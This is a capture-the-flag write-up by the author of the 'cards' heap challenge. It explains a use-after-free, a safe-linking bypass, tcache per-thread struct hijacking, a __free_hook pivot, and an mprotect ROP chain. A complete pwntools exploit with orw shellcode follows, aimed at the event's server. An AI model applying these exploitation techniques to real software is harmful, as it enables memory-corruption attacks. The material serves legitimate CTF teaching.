Cards
Posiedon ctf cards
writeup, We organized posiedonctf this weekend and i wrote one pwn challenge.
Challenge name - cards
NOTE[] - The binary had seccomp.
Here is the seccomp rules dump generated by seccomp-tools.

The program uses two structures.
This is just a typical heap challenge with capabilities, to these operations
UAF
When we delete a card, The iscard
member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers.

Here is the original source code of edit function.
Edit
We can not allocate more than 0x100 size.
Add
Here is the source of Add function
The program uses a global variable to total_cards
to keep count of cards to allocate. And limit is total 9 cards.
There is info leak, when it read the name, it doesn't sets the last byte to '\x00' which can be used to leak the pointers.
delete
The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak.
And the view function takes and idx and prints the chunk info.
However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces safe-linking
.
It's just xoring the pointers with help of aslr.
here's the article: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/
However this can be bypassed with leaking heap address.
It also introduces alignment checks.
here's the new tcache_put source
tcache-get
And some new definations.
This can be easily bypassed after getting the heap leak.
So my solution includes.
- Leak heap
- overwrite fd pointer with tcache-per-thread struct. #UAF-HERE
- Keep an 0x100 sized chunk.
- get allocation to tcache-per-thread struct.
- After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7.
- Free 0x100 sized chunk. -> The chunk goes into unsortedbin.
- Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache.
- Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk.
- Then add __free_hook to tcache-per-thread struct using edit function.
- There is a other option which is not shown in menu.
Secret-name
which reads 0x40 bytes of userdata on to the stack.
- So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget.
- Then execute our shellcode on heap and open-read-write flag.
exploit
from pwn import *
exe = context.binary = ELF("./cards")
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw)
gdbscript = '''
continue
'''.format(**locals())
io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004)
def add(size,name):
io.sendlineafter("Choice: ","1")
io.sendafter("card: ",str(size))
io.sendafter("color: ","HKHKHKH");
io.sendafter("name: ",name)
def view(idx):
io.sendlineafter("Choice: ","4")
io.sendafter("card: ",str(idx))
def remove(idx):
io.sendlineafter("Choice: ","2")
io.sendafter("card: ",str(idx))
def edit(idx,name):
io.sendlineafter("Choice: ","3")
io.sendafter("card: ",str(idx))
io.sendafter("name: ",name)
def sendrop(rop):
io.sendlineafter("Choice: ","6")
io.sendafter("name: ",rop)
def mask(heapbase,target):
return (heapbase >> 0xc) ^ target
main_arena = 0x3b6ba0
free_hook = 0x3b8e80
mprotect = 0xf0830
add_rsp = 0x00077f66
pop_rdi = 0x001273dc
pop_rsi = 0x00126117
pop_rdx = 0x000c45ed
add(0x28,"B"*0x28)
remove(0)
add(0x28,"A"*14+"BB")
view(1)
io.recvuntil("BB")
heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0
print("Heap base: "+hex(heap_base))
add(0xd8,"HKHK")
add(0xd8,"HKHK")
remove(2)
remove(3)
target_ptr = mask(heap_base,heap_base+0x10)
edit(3,p64(target_ptr))
add(0xd8,"/home/challenge/flag\x00")
add(0xf8,"HKHK")
add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))
remove(5)
edit(6,p64(0x00020000000000400)+p64(0x0)*3)
add(0x88,"AAAAAABB")
view(7)
io.recvuntil("BB")
libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90
print("Libc: "+hex(libc_base))
edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook))
add(0x18,p64(libc_base+add_rsp))
shellcode = asm(f"""
xor rax, rax
mov al, 0x2
xor rsi, rsi
xor rdx, rdx
mov rdi, {heap_base+0x4d0}
syscall
mov r10, rax
xor rax, rax
mov rdi, r10
mov rsi, {heap_base+0x100}
mov rdx, 0x50
syscall
mov rax, 0x1
mov rdi, rax
syscall
mov rax, 0x3c
mov rdi, 0x1337
syscall
""")
edit(7,shellcode)
mprotect_rop = p64(libc_base+pop_rdi)+\
p64(heap_base)+\
p64(libc_base+pop_rsi)+\
p64(0x1000)+\
p64(libc_base+pop_rdx)+\
p64(0x7)+\
p64(libc_base+mprotect)+\
p64(heap_base+0x610)
sendrop(mprotect_rop)
remove(4)
io.interactive()
Link to the source-code and exploit: https://github.com/hkraw/posiedonctf-cards